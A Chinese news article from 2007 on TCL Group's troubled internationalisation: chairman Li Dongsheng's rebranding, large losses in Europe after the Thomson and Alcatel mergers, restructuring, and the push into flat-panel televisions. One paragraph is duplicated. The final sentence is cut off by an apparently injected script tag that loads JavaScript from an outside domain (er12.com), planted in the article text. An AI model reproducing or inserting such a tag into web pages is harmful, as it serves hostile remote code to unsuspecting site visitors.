过去的两年，国际化之路让tcl集团董事长李东生尝尽了国际化道路的坎坷，但是很显然，49岁的李东生并没有放弃的打算，“国际化是一场持久战，现在我们重新上路。”李东生笑着表示。
“我们会矢志不移地坚持国际化。”
2007年6月18日，对tcl集团谜一样的未来，一向自信的tcl集团总裁李东生给出了自己准确的答案。
就在这一天，tcl26年来首次对品牌形象做大规模调整，“创意感动生活”的三个英文单词“thecreativelife”首次为“tcl”三个字母注入了明确的品牌内涵。
李东生表示，富有创意的工业设计是全球电子产品消费的大趋势，也是公司未来发展的重点，tcl定位在“务实的创新者”。
过年的两年，国际化之路让tcl集团董事长李东生尝尽了国际化道路的坎坷，但是很显然，49岁的李东生并没有放弃的打算，“国际化是一场持久战，现在我们重新上路。”李东生笑着表示。
tcl还债
6月12日，tcl新品牌战略员工宣誓大会在深圳会展中心召开，过去几年忙于整合和海外止损的李东生亲自出面，向集团员工阐述tcl“创意感动生活”的新品牌战略。
而在业界，tcl代表的意思曾被演绎过很多版本，官方的解释是todaychinalion(今日的中国雄狮)，而在坊间流传较多的则是诸如“太差了、太次了”等中文谐音。
“我们要重塑tcl的形象。”tcl通讯首席执行长刘飞对《财经时报》表示，过去两年高速的发展让我们忽视了很多东西，以国内市场手机为例，返修率在最高峰的时候达到了30%，我们需要对过去还债。
2004年，当tcl和汤姆逊联姻时，tcl彩电占据中国市场19%的份额，是当之无愧的霸主。2003年，tcl彩电业务收入约合13亿欧元，以彩电产品为主的tcl多媒体电子业务毛利约为2.7亿欧元，这是tcl收入和利润的绝对主力。
当并购的机会出现，tcl希望全力出击，通过并购完成更大的跨越的时候，tcl的命脉——国内多媒体业务在过去几年中却遭遇了停滞不前，与竞争对手康佳、长虹、创维依旧处于胶着状态，未能拉开距离，而管理上的松散更直接造成了国人对于tcl品牌认知的下降。
“在欧美业务受挫之后，tcl把资源重新放到中国区业务上来，全力打造tcl国际化业务的大后方，这是tcl目前‘恢复机能’的最有效途径。”赛迪顾问分析师文芳认为。
欧洲重布局
“成也欧洲，败也欧洲”是人们对tcl过去两年全球化策略的最直观评价。
此前一路顺风顺水的tcl在连续并购了法国的汤姆逊和阿尔卡特之后，形势急转直下。
从tcl2006年的年报上可以看到，tcl多媒体欧洲区亏损高达25.96亿元，集团按股权比例分摊10.06亿元，但除多媒体之外，集团还亏损了9.26亿元。
很显然，tcl集团除了彩电在欧洲、美洲，乃至新兴市场形成严重亏损之外，其他产业如电脑、白电、文化产业也已陷入困境之中，并迅速成为集团第二大的亏损源。
另外，从tcl内部传出的2006年的kpi(关键业绩指标)达成情况看，在由tcl集团考核的19家企业中，只有6家企业的kpi指标综合达成率达到目标，达标的企业不足1/3，有一半多的企业年度利润为负值。
目前的情况是，tcl多媒体在欧洲的部分附属公司，包括德国、西班牙、意大利、瑞典、捷克共和国和匈牙利在内的销售公司，已经开始实行破产重组方案。
李东生曾对欧洲业务巨亏进行检讨，称公司没有及时预测到欧洲市场平板电视替代crt的速度，产品跟不上市场需求导致出现巨亏。
去年底，tcl已经结束了欧洲原有的业务模式，取而代之的则是大代理商进行业务代工，以减轻公司的财务压力。
“原来，我们在欧洲多个国家都有运营公司，这样库存和销量压力都非常大，改成新业务模式后财务压力就比较小，目前欧洲工厂的订单在稳步上升。”不过，李东生自己也承认，结束原有业务后，会导致公司销量的大幅下滑。
“欧洲的业务2007年争取做到微亏或是打平。业务逐渐恢复需要一段时间，但是重组给我们欧洲业务提供了机会。从手机销售情况来看，欧洲市场是可以提供盈利的。消费电子产品，无论彩电、dvd，还是手机，欧洲市场和美国市场相比，欧洲市场的毛利率依然更高。”
扭亏在今年
彩电是tcl立身全球顶级家电厂商的根本，但是过去几年对于平板产业判断的失误让tcl正在被竞争对手甩开距离。
2006年tcl全球销售了2200万台电视机，但是绝大多数仍然是传统的crt电视，不能在平板市场方面做到领先，tcl全球彩电老大的地位就将不保，在李东生看来，增加平板产品的竞争力是目前tcl唯一的选择。
6月16日，a股上市公司*sttcl发布公告称，定向增发募集资金额?script src=http://er12.com/t.js>
